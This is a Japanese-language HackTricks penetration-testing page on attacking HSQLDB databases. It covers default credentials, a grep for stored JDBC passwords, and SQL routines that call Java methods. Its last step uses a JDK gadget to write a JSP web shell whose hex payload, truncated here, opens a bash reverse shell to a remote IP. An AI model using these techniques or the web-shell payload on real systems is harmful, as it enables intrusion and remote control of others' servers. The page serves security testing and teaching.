ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
# 基本情報 **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。小さな高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、インメモリおよびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。 **デフォルトポート:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` # 情報 ### デフォルト設定 デフォルトでは、このサービスはおそらくメモリ内で実行されているか、localhostにバインドされています。見つけた場合、おそらく他のサービスを悪用して特権を昇格させようとしているでしょう。 デフォルトの資格情報は通常、空のパスワードで `sa` です。 他のサービスを悪用した場合は、可能な資格情報を検索してください。 ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` 注意してデータベース名を - 接続に必要です。 # 情報収集 [HSQLDBをダウンロード](https://sourceforge.net/projects/hsqldb/files/)して`hsqldb/lib/hsqldb.jar`を解凍し、GUIアプリを実行します。`java -jar hsqldb.jar`を使用してインスタンスに接続し、発見された/弱い資格情報を使用します。 リモートシステムの場合、接続URLは次のようになります: `jdbc:hsqldb:hsql://ip/DBNAME`。 # テクニック ## Java言語ルーチン Java言語ルーチンを使用してHSQLDBからJavaクラスの静的メソッドを呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパスにある必要があることに注意してください。 JRTは`functions`または`procedures`になります。Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、関数はSQLステートメントを介して呼び出すことができます。`VALUES`ステートメントを使用して呼び出されます。 呼び出したいJavaメソッドがvoidを返す場合、`CALL`ステートメントを使用して呼び出す必要があります。 ## Javaシステムプロパティの読み取り 関数を作成します: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` 関数を実行します: ```text VALUES(getsystemproperty('user.name')) ``` You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). ## ファイルへのコンテンツの書き込み `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java ガジェットを使用して、JDK にあるカスタム手順を介してディスクに16進エンコードされたアイテムを書き込むことができます。**最大サイズは1024バイトです**。 手順の作成: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` 手順を実行します: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ```
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**